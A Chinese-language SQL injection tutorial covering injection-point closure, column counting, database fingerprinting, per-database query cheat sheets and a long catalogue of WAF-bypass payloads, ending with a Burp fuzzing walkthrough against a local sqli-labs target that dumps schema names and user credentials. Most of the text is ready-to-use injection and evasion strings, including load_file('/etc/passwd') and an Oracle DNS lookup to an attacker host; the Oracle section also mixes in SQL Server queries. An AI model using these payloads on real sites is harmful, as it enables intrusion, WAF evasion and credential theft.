前文已经将SQL注入的常见形态了解完毕,但我们远程测试网站是否有SQL注入,常常需要通过大量推理来进行测试,猜出网站与数据库是如何交互的
1 可能存在SQL注入的功能点
SQL注入可以出现在任何系统或接收用户输入的前端应用中,换句话说, 只要能与数据库进行交互的地方就有可能存在SQL注入
通常出现注入点的网页中,后端代码可能是以下几种格式
$sql = "SELECT * FROM users WHERE id = $id LIMIT 0,1";
$sql = "SELECT * FROM users WHERE id = '$id' LIMIT 0,1";
$sql = "SELECT * FROM users WHERE id = ('$id') LIMIT 0,1";
我们在构建SQL语句时,需要先将前文考虑使用引号括号闭合,如果注入后,破坏了原有的闭合,那么注入也会失败,所以闭合很重要,决定了最后是否可以注入成功
$sql = "SELECT * FROM users WHERE id = '$id' LIMIT 0,1";
注入 1' or 1=1 --+
$sql = "SELECT * FROM users WHERE id = '1' or 1=1 --+' LIMIT 0,1";
2.1 常见的闭合方式
最后,可以用and 1=1
或者or 1=1
等语句确认闭合完成,验证漏洞存在
3 测试列数
遇到不支持order by的情况,可以通过select null来判断列的数量,不断增加null到不返回
http://www.foo.com/index.asp?id=12+union+select+null,null--
4 数据库类型
在此前的实验中,我们都是使用MariaDB作为后端数据库的,其属于mysql系列数据库,如果后端数据库不同,那么SQL注入的语句也会不同
4.1 数据库指纹
4.1.1 通过报错信息识别数据库
MySql:
You have an error in your SQL syntax; check the manualthat corresponds to your MySQL server version for theright syntax to use near ''' at line 1
Oracle:
ORA-00933: SQL command not properly ended
MS SQL Server:
Microsoft SQL Native Client error ‘80040e14’Unclosed quotation mark after the character string
PostgreSQL:
Query failed: ERROR: syntax error at or near
4.1.2 利用数据库语句推断
根据数据库连接字符串方式的不同进行识别 如我们查询字符串kinght得到了一个结果,可以在请求中提交特殊的值,测试用各种方法连接,以生成kinght字符串 如过查询结果相同,就可以确定是哪一种数据库
Oracle: 'kin'||'ght'
MS-SQL: 'kin'+'ght'
MySQL: 'kin' 'ght'
PostgreSQL:'kin' || 'ght'
如果注入数字数据,可以使用下面的攻击语句来识别字符串。 每个语句在其对应的数据库中求值结果为0,在其他数据库中则会报错。
Oracle: BITAND(1,1)-BITAND(1,1)
MS-SQL: @@PACK_RECEIVED-@@PACK_RECEIVED
MySQL: CONNECTION_ID()-CONNECTION_ID()
4.1.3 根据经验进行推断
代码与数据库并不存在绑定关系,以下只能做参考
asp : Access/SQLServer
php : Mysql pg
jsp : Oracle
政府机构喜欢商业化数据库软件,互联网公司喜欢开源软件
4.2 各类数据库注入语句
4.2.1 MySQL数据库
SQL语句
SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
SELECT @@version
SELECT user()
SELECT system_user()
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges
#用户权限
SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges
#数据库权限
SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges
#字段的权限
列出DBA账户
SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’
选择第N行
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0
#行从0开始编号
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1
#行从0开始编号
选择第N个字符
SELECT substr(‘abcd’, 3, 1)
ASCII值-字符
SELECT char(65)
字符-ASCII值
SELECT ascii(‘A’)
#返回65
字符串连接
SELECT CONCAT(‘A’,‘B’)
#返回AB
SELECT CONCAT(‘A’,‘B’,‘C’)
#返回ABC
SELECT BENCHMARK(1000000,MD5(‘A’))
SELECT SLEEP(5)
#版本>= 5.0.12
4.2.2 Oracle数据库
SQL语句
选择第N行
SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9
选择第N个字符
SELECT substr(‘abcd’, 3, 1) FROM dual
#第3个字符c
ASCII值-字符
SELECT chr(65) FROM dual
字符-ASCII值
SELECT ascii(‘A’) FROM dual
#返回65
字符串连接
SELECT ‘A’ \
‘B’ FROM dual
#返回AB
SELECT UTL_INADDR.get_host_name(‘10.0.0.1’) FROM dual
#如果反向查询很慢
SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual
#如果正向查询很慢
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’)
#当前数据库
SELECT master…syscolumns.name, TYPE_NAME(master…syscolumns.xtype) FROM master…syscolumns, master…sysobjects WHERE master…syscolumns.id=master…sysobjects.id AND master…sysobjects.name=‘sometable’
#列出master…sometable的列名称
SELECT @@version
SELECT user_name()
SELECT system_user
SELECT user
SELECT permission_name FROM master…fn_my_permissions(null,‘DATABASE’)
#当前数据库权限
SELECT is_srvrolemember(‘sysadmin’)
#当前用户权限
列出DBA账户
SELECT is_srvrolemember(‘sysadmin’)
#当前用户是否是管理员,是则返回1
选择第N行
SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master…syslogins ORDER BY name ASC) sq ORDER BY name DESC
#返回第九行
选择第N个字符
SELECT substring(‘abcd’, 3, 1)
ASCII值-字符
SELECT char(0×41)
字符-ASCII值
SELECT ascii(‘A’)
#返回65
字符串连接
SELECT ‘A’ + ‘B’
#返回AB
WAITFOR DELAY ‘0:0:5’
#睡眠5秒
4.2.4 PostgreSQL数据库
SQL语句
SELECT relname, A.attname FROM pg_class C, pg_namespace N,pg_attribute A, pg_type T WHERE (C.relkind=‘r’) AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’)
SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,") AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid)
SELECT version()
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
列出DBA账户
SELECT usename FROM pg_user WHERE usesuper IS TRUE
选择第N行
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0
#从0行开始编号
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
选择第N个字符
SELECT substr(‘abcd’, 3, 1)
ASCII值-字符
SELECT chr(65)
字符-ASCII值
SELECT ascii(‘A’)
#返回65
字符串连接
SELECT ‘A’ \
#返回AB
SELECT pg_sleep(10)
#睡眠10秒
SELECT sleep(10)
#创建自定义睡眠
5 绕过网站防御机制思路
现如今,应该是市面上所有的网站都会有着WAF的存在 Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。 安全对抗一直都存在,有防护手段,肯定就有对应的绕过方式
5.1 waf绕过原理
熟练掌握MySQL函数和语法使用方法+深入了解中间件运行处理机制+了解WAF防护原理及方法=随心所欲绕过WAF防护 例如Sqli-labs Less-25
include("../sql-connections/sql-connect.php");
if(isset($_GET['id']))
$id=$_GET['id']; //使用GET方法传入
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n"); //将输入文件写入result.txt
fclose($fp); //关闭文件
$id= blacklist($id); //将ID传入blacklist函数
$hint=$id;
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}else
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}else
echo "Please input the ID as parameter with numeric value";
function blacklist($id)
$id= preg_replace('/or/i',"", $id); //去掉OR(不区分大小写) i的功能就是忽略大小写
$id= preg_replace('/AND/i',"", $id); //去掉AND(不区分大小写)
return $id;
id传入后,使用了blacklist函数过滤了or
和AND
,并且不区分大小写
5.2 绕过方式
5.2.1 大小写绕过
一般来说,只要网站考虑了防御机制,现在的设计者是不会忘记注意大小写的。但我们还是把绕过思路从简单到复杂的讲述出来,大小写绕过是最简单的一种绕过方法,它成功的前提是网站防御规则中只匹配了字母小写的攻击语句特征。如select
可能会被规则发现,SeLeCt
则不会
fsec.com/index.php?page_id=1' and 1=2 uNIoN sELecT 1,2,3,4#
5.2.2 双写绕过
在某些网站,会对用户提交的一段字符进行匹配,对其认为危险的字符删除,同时放过余下其认为安全的字符。 例如,用户输入1' and 1=2 union select 1,2,3,4#
,经过网站的过滤机制,服务器实际接收到的则是1' and 1=2 1,2,3,4#
此时可以双写绕过:
/index.php?page_id=1' UNIunionON SELselectECT 1,2,3,4#
经过网站过滤机制,UNIunionON SELselectECT
实际变成了UNION SELECT
。但要注意,这只适用于网站防御机制只匹配一次、过滤一次的情况。如果网站正则具有循环匹配,循环过滤直至匹配不到的机制,那么这种绕过方法就不再适用了
5.2.3 编码绕过
如果网站防御机制未考虑过各类编码情况,那么将攻击语句编码后再发送也是一种很好的方法
5.2.3.1 URL编码
通常来说,在浏览器输入URL时,浏览器会对一些字符进行URL 编码如,空格变为%20、单引号%27、左括号%28、右括号%29。而服务器收到后会对其进行解码。如果网站具备防御机制,则会对解码后的内容进行规则匹配。然而一些程序在执行了过滤之后还会执行一次不必要的解码, 比如我们输入带有url编码的字符串: 1%2527%20and%201%253d1%23
,这条字符在会被解码为:1%27 and 1%3d1#
,其中没有'
和=
,假设这样就不会触发某些防御规则,然而当waf放过这串字符后,网站程序又会执行一次不必要的解码,再次解码后文本变成如此:1' and 1=1#
,这一条将被数据库执行
5.2.3.2 十六进制编码
主要用于where语句后,如:
1' and 1=2 union select 1,table_name from information_schema.tables where table_schema= 'dvwa'#
1' and 1=2 union select 1,table_name from information_schema.tables where table_schema= 0x64767761#
1 and 1=2 union select 1,load_file('/etc/passwd');#
1 and 1=2 union select 1,load_file(0x2F6574632F706173737764);#
5.2.3.3 char()函数
利用char()
函数将select
的ASCII码转换为select
字符串,接着利用concat()
函数进行拼接得到select
查询语句,从而绕过过滤。或者直接用concat()
函数拼接select
来绕过
index.php?id=-1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#
5.2.4 注释绕过
5.2.4.1 注释绕过针对空格的过滤
1' and 1=2 union/**/select 1,2 #
5.2.4.2 内联注入
/*![数据库版本][数据库函数]*/
,和注释/**/
的区别是多了一个感叹号,可选的数据库版本号。 这种注释在mysql中叫做内联注释,当实际的版本等于或是高于写入的[数据库版本],应用程序就会将注释内容解释为SQL命令,否则就会当做注释来处理。默认情况下,不添加数据库版本也会当做SQL命令来执行 内联注释可以用来包裹数据库关键字和非关键字
1' and 1=2 /*!UNION*/ /*!SELECT*/ 1,2# 1'/*asdw*/and/**/1=2/**//*!50000UNION*//*abcd*//*!50000SELECT*//**/1,2#
### 5.2.5 等价语句替换 在有些函数或命令因其关键字被检测出来而无法使用的情况下,我们可以考虑使用与之等价或类似的代码替代其使用。
sleep() 与 benchmark()
concat_ws() 与 group_concat()
mid()=substr()=substring()
mysql中可用BENCHMARK(50000000,MD5(‘A’))
产生延迟,执行MD5()
50000000次,产生的延迟时间和服务器性能有关 concat_ws()
与 group_concat()
concat(str1,str2,…) //没有分隔符得连接字符串,
concat_ws(separator,str1,str2,…) //含有分隔符得连接字符串
group_concat(str1,str2,…) //连接一个组的所有字符串,并以逗号分割每条数据
5.2.6 常见过滤字符绕过
5.2.6.1 过滤空格
注释代替空格
select * from tb1 where name='asd';
select/**/*/**/from/**/tb1/**/where/**/name='asd';
括号代替空格
mysql中可用()来代替空格。可以用括号包裹非数据库关键字
select name from tb1 where name ='asd';
select(name)from(tb1)where(name)=('asd');
引号代替空格
mysql中可用单引号或双引号来代替空格。
select name from tb1 where name ='asd' and 1=1;
select name from tb1 where name ='asd'and'1'='1';
特殊字符代替空格
如下特殊字符可代替空格:
%09 水平定位符号%0a 换行符%0c 换页符%0d 回车%0b 垂直定位符号
用Tab代替空格
5.2.6.1 过滤union\select
绕过示例:过滤代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)='admin'
十六进制字符绕过select ——> selec\x74union——>unio\x6e
大小写绕过SelEct
双写绕过selselectectuniunionon
urlencode,ascii(char),hex,unicode编码绕过关键字
内联绕所有/*!union*//*!select*/
5.2.6.2 过滤引号
可通过注释、括号、内联注释代替引号。
字符串可写作0x十六进制。
select * from tb1 where name='asd';
select * from tb1 where name=0x617364;
5.2.6.3 过滤=
?id=1' or 1 like 1#可以绕过对 = > 等过滤
or '1' IN ('1234')#可以替代=
5.2.6.4 过滤逗号
在使用mid,substr,substring函数的时候,如果逗号被过滤,可以通过from x for y代替。
select mid(user(),1,2); #从第一个字符开始截取2个
select mid(user() from 1 for 2); #从第一个字符开始截取2个
5.2.6.5 过滤注释符
测试中通常需要通过注释符屏蔽后面的语句,否则容易报错,但注释符被过滤了。
例如:select * from tb1 where id=$_GET[‘id’] limit 1; //limit1是我们想要屏蔽的语句。
1.通过;结束语句,如果系统不支持堆查询注入,那么后面语句不会执行,或者执行了也能屏蔽错误。
select * from tb1 where id=1; limit 1;
2.整数型注入不受影响
select * from tb1 where id=1 or 1=1 limit 1;
3.字符型注入,传入的参数前后被加上了引号,select * from tb1 where id='$_GET['id']' limit 1;
这时候可以传入1' or '1'='1 ,再拼接上引号后就能完整。
select * from tb1 where id='1' or '1'='1' limit 1;
5.2.6.6 过滤where
逻辑绕过过滤代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'
5.2.6.7 过滤limit
逻辑绕过过滤代码 1 && (select user from users limit 1) = 'admin'
绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin
5.2.6.8 过滤group by
逻辑绕过过滤代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
5.2.6.9 过滤select
逻辑绕过过滤代码 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
绕过方式 1 && substr(user,1,1) = 'a'
5.2.6.10 过滤hex
逻辑绕过过滤代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。
5.2.6.11 过滤substr
逻辑绕过过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16))
绕过方式 1 && lpad(user(),1,1) in 'r'
5.2.6.12 过滤and/or
#等价关键字,在很多时候,当关键字被过滤后,可通过与其等价的其他关键字来绕过。
等价and
假如:select * from tb1 where id=1 and 1=1
此时和and等价关键字有:like(1 like 1。like可跟通配符。),rlike(1 rlike 1 rlike可跟正则表达式。),regexp(1 regexp 1 regexp可跟正则表达式。),&(1 && 1 ,逻辑与),&&(1 & 1,按位与,任意数&0的值为0),与and的结果都是1.
假如:select * from tb1 where id=1 or 1=1;
此时等价or的关键字有:|| (逻辑或),| (按位或),任意数|0的值为任意数
5.3 架构过waf
寻找源站->争对云WAF
利用同网段->绕过WAF防护区域使用同网段主机对目标主机进行攻击,即可绕开WAF
利用边界漏洞->绕过WAF防护区域与方式2类似,寻找同网段是否有存在漏洞主机,找到后,使用存在漏洞的主机对目标主机进行攻击,即可绕开WAF
5.4 资源限制角度绕过waf WAF的首要前提是保证网站服务的正常运行,故一些大的数据包如果分析,会严重拖慢网站的响应速度,这时候构造大的数据包,数据包中有攻击代码,就有可能绕过WAF检测
5.5 协议层面绕过WAF的检测
1.协议未覆盖绕过waf
//假设某WAF,只检测GET不请求POST,则可以进行转换请求方式
//对上传文件数据格式不进行防护
Content-Type变换:application/x-www-form-urlencoded;→multipart/form-data;
2.参数污染
index.php?id=1&id=2
网站程序获取:id=2
waf获取:id=1 就不会在检测id=2后面的语句
因此可以在id=2的后面加上测试语句进行测试
5.6 规则过waf
可以理解为寻找语法正确可以注入但waf匹配不到的数据格式
SQL注释符绕过 在Mysql中,常见的注释方法有#
·或者--空格
或者/**/
在注释中还有一种特殊的方式,叫做内联注释,在mysql中是多行注释 但是如果里面加了! 那么后面的内容会被执行
union/**/select
union/*aaaa%01bbs*/select
union/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/select
内联注释:/*!xxx*/
空白符绕过
MySQL空白符:%09,%0A,%0B,%0D,%20,%0C,%A0,/*xxx*/
正则的空白符:%09,%0A,%0B,%0D,%20
Example-1: union%250Cselect
Example-2: union%25A0select
函数分割符号
concat%2520(
concat/**/(
concat%250c(
concat%25a0(
浮点数词法解析
select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0
利用error-based进行SQL注入:error-based SQL注入函数非常容易被忽略
extractvalue(1, concat(0x5c,md5(3)));
updatexml(1, concat(0x5d,md5(3)),1);
GeometryCollection((select*from(select*from(select@@version)f)x))
polygon((select*from(select name_const(version(),1))x))
linestring()
multipoint()
multilinestring()
multipolygon()
mysql特殊语法
select{x table_name}from{x information_schema.tables};
6 Fuzz绕过WAF
在讲fuzz与sql注入结合绕waf之前我们先来讲讲什么是fuzz,fuzz其实就是一种对请求参数的模糊测试,简单来说就是对一个接口的某个参数或多个参数用自定义的内容进行批量提交,根据接口返回内容来判断自定义内容参数对接口的影响 每一个点都能找到绕过的方法,以注释为例,开始Fuzz
union/*something*/select
注释符绕过
先测试最基本的:union/**/select
再测试中间引入特殊字:union/*aaaa%01bbs*/select
*最后测试注释长度:union/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/select
场景演示 测试环境:windows10+phpstudy+sqlilabs+安全狗 测试环境演示测试,提交攻击代码,发现被拦截
http://192.168.192.128/Less-1/?id=-1' union select 1,(version()),2 --+
使用burp抓包,因为burp可以反复提交数据,比较方便
我们可以看到url编码了,空格被替换成了20% 我们可以使用一下编码替换空格 MySQL空白符:%09,%0A,%0B,%0D,%20,%0C,%A0,/*xxx*/
我们模拟替换成/*xxx*/
,发送至测试器,选择Battering ram模式(把一个payload加载到多个位置),将空格编码替换为参数
修改字符集,暴力破解,添加参数
由于是本地测试,所以线程数可以弄高一点
开始攻击,通过长度来判断是否绕过
发现长度944,打开正常返回页面,注入成功
将空格替换为/**%//*/
构造攻击url放在浏览器中进行测试 http://192.168.192.128/Less-1/?id=-1%27/**%//*/union/**%//*/select/**%//*/1,(version()),2--+
注入成功 
http://192.168.192.128/Less-1/?id=-1%27/**%//*/union/**%//*/select/**%//*/1,(select/**%//*/schema_name/**%//*/from/**%//*/information_schema.schemata/**%//*/limit/**%//*/0,1),2--+
http://192.168.101.200/Less-1/?id=-1%27/*0%5e99*/union/*0%5e99*/select/*0%5e99*/1,(select/**%//*/group_concat(table_name)/**%//*/from/**%//*/information_schema.tables/**%//*/where/**%//*/table_schema=database()),2--+
http://192.168.192.128/Less-1/?id=-1%27/**%//*/union/**%//*/select/**%//*/1,(select/**%//*/concat_ws('~',username,password)/**%//*/from/**%//*/security.users/**%//*//**%//*/limit/**%//*/0,1),2--+